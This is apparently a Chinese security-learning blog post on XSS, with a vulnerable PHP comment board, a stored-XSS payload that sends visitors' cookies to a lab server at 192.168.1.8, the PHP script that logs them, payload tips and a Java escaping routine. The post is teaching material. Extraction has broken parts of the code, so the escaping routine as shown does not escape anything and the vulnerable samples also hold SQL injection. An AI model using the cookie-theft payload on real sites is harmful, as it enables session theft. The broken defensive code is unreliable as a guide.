XSS漏洞

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub之Me and My Girlfriend

介绍

xss漏洞介绍

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
摘自:百度百科

也就是说,开发者在开发过程中没有较好的处理用户传入的内容,造成错将用户的输入当做网页代码执行。

实例

接下来看一个xss漏洞的实例


if (isset($_REQUEST['name'])){
    $name=$_REQUEST['name'];
    echo "
Hello , $name
"
; }else{ echo "name needed"; } ?>

访问此文件,提示需要参数name

在指定name参数后,会输出Hello , name

例如输入name=manlu
在这里插入图片描述
但假如攻击者输入了一串代码,就会造成xss漏洞

例如输入 name=

在这里插入图片描述
此时就会弹出一个弹窗,内容显示为 xss
XSS漏洞_第1张图片
这就是一个xss漏洞

作用

xss的作用非常广,最常用的是盗取cookiecsrf组合拳

其中盗取cookie尤为常见,还有一些黑客将xss做成蠕虫,在网络上大量传播。

举一个盗取Cookie的例子

有服务器A(192.168.1.8)和服务器B(192.168.1.5),现在运行在服务器B的网站上存在xss漏洞,hacker想通过这个xss漏洞盗取用户的cookie

192.168.1.5/index.php


$username = 'root';
$password = '123456';
$host = 'localhost';
$dataBase = 'xsstest';
$con = mysqli_connect($host, $username, $password, $dataBase);
if (!$con) {
    die("连接失败: " . mysqli_connect_error());
}
?>
<!doctype html>
<html lang="en">
<head>
    
        if (isset($_POST['name']) && isset($_POST['content'])){
            $name=$_POST['name'];
            $content=$_POST['content'];
            $sql="INSERT INTO `comment`( `username`, `content`) VALUES ('$name','$content')";
            if ($con->query($sql)==true){
                echo "";
            }else{
                echo "";
            }
        }
    ?>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>评论区</title>
</head>
<body>
<div><h2>评论区</h2></div>
<div>
    <ul id="comment">
        
        $sql = "select * from comment";
        $result = mysqli_query($con, $sql);
        while ($row = $result->fetch_assoc()) {
            echo "
  • " . $row['username'] .'
    '
    . $row['content'] . "
  • "
    ; } ?> </ul> </div> <div> <h3>发布评论</h3> <label for="name">输入你的用户名:</label> <input type="text" id="name" name="name"><br> <label for="content">内容:</label> <input type="text" id="content" name="content" placeholder="评论的内容"> <input type="button" value="提交" id="btn"> </div> <script> document.getElementById("btn").onclick = function () { var name = document.getElementById('name').value.trim(); var content = document.getElementById('content').value.trim(); if (name === "") { alert("请输入用户名") } else if (content === '') { alert("请输入内容") } else { httpPost("index.php",{"name":name,"content":content}) } }; function httpPost(URL, PARAMS) { var temp = document.createElement("form"); temp.action = URL; temp.method = "post"; temp.style.display = "none"; for (var x in PARAMS) { var opt = document.createElement("textarea"); opt.name = x; opt.value = PARAMS[x]; temp.appendChild(opt); } document.body.appendChild(temp); temp.submit(); } </script> </body> </html>

    查看该站点,如图,可以查看其它用户的评论,也可以自己发表评论
    XSS漏洞_第2张图片
    假如输入名称为manlu,内容为Hello World
    XSS漏洞_第3张图片
    此时一个黑客插入了一段xss代码,内容如下

    <script>var img=document.createElement("img");img.src="http://192.168.1.8/receive.php?cookie="+escape(document.cookie);document.body.appendChild(img);</script>
    

    这段代码创建了一个不存在的图片,并将用户的cookie发送给receive.php,任意用户访问该评论区,都会被盗取cookie。

    XSS漏洞_第4张图片
    此时xss代码已经存在了数据库中
    在这里插入图片描述

    192.168.1.8/receive.php

    
    if (isset($_REQUEST['cookie'])){
        $file=fopen('cookies.txt','a+');
        fwrite($file, $_REQUEST['cookie']);
        fclose($file);
    }
    ?>
    

    在用户访问后,192.168.1.8的目录中将会出现一个cookies.txt,如图

    XSS漏洞_第5张图片

    类型

    xss漏洞有反射型,存储型和DOM型三种类型

    反射型

    场景:黑客在一个存在xss漏洞的网站上输入了一串盗取cookie的代码,当任意用户打开该页面,就会将这个用户的cookie发送给黑客。黑客将这个界面的链接发给被攻击者,诱骗被攻击者打开链接,实施xss盗取cookie。

    反射型xss漏洞非常常见,上文的源码就是一个反射型xss漏洞。

    存储型

    又叫持久xss漏洞,指xss的代码存储到用户的数据库中

    场景:一个博客网站存在xss漏洞,这个博客网站允许发布用户自己的博客。黑客在其中插入了盗取cookie的JavaScript代码,这个JavaScript代码被存储到了数据库中,每个打开他博客的用户cookie都会被盗取。
    XSS漏洞_第6张图片
    存储型xss漏洞是最常见的xss漏洞,在互联网上非常常见。

    DOM型

    通过修改页面的DOM节点形成的xss,称之为DOM Based XSS
    例如

    
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>XSStitle>
    head>
    <body>
    <script>
        function test() {
            var str=document.getElementById("text").value;
            document.getElementById("t").innerHTML="testlink"
        }
    script>
    <div id="t">div>
    <input type="text" id="text" value="">
    <input type="button" id="s" value="Write" onclick="test()">
    body>
    html>
    

    访问网站,输入hello,会出现一个a标签,指向123
    在这里插入图片描述
    假如攻击者构造payload

    ' onclick=alert(/xss/)//
    

    此时变为
    在这里插入图片描述
    按下超链接,触发xss漏洞
    XSS漏洞_第7张图片

    构造Payload

    构造Payload的核心是闭合前面的标签,执行JavaScript代码


    同时闭合或注释前面和后面的标签

    //
    ‘>’<

    更多的可以在https://www.html5sec.org/查看

    XSS平台

    在实际的渗透测试中,xss平台是非常有用的

    我习惯使用https://xss.pt/xss.php,也可以自己搭建平台

    xss平台提供了很多功能,可以轻松地进行xss攻击
    XSS漏洞_第8张图片

    XSS防范

    说几个我在开发网站时防范xss的方法

    1.长度限制
    将长度限制在一定值内,虽然这样也可以进行绕过,但可以防范大部分的xss攻击

    2.字符转义
    过滤危险标签是不安全的,我在开发时直接将用户的输入进行转义
    < 变成 <
    > 变成 >
    例如这是我写的用来处理xss

    package tools;
    
    import java.util.Arrays;
    import java.util.HashMap;
    
    public class CleanXSS {
        public static final String[] danger_words = new String[]{"<", ">", "\"", "'", "&", " "};
        public static final HashMap<String, String> map = new HashMap<>();
    
        public static String Clean(String s) {
            SetMap();
            Arrays.sort(danger_words);
            s = s.strip();
            StringBuilder result = new StringBuilder();
            for (int i = 0; i < s.length(); i++) {
                String l = s.substring(i, i + 1);
                if (Arrays.binarySearch(danger_words, l) >= 0) {
                    result.append(map.get(l));
                    continue;
                }
                result.append(l);
            }
            return result.toString();
        }
    
        public static void SetMap() {
            map.put("<", "<");
            map.put(">", ">");
            map.put("\"", """);
            map.put("'", "'");
            map.put("&", "&");
            map.put(" ", " ");
        }
    
        public static void main(String[] args) {
            String text="";
            String result=Clean(text);
            System.out.println(result);
        }
    
    }
    
    

    3.HttpOnly

    你可能感兴趣的:(安全,安全,xss)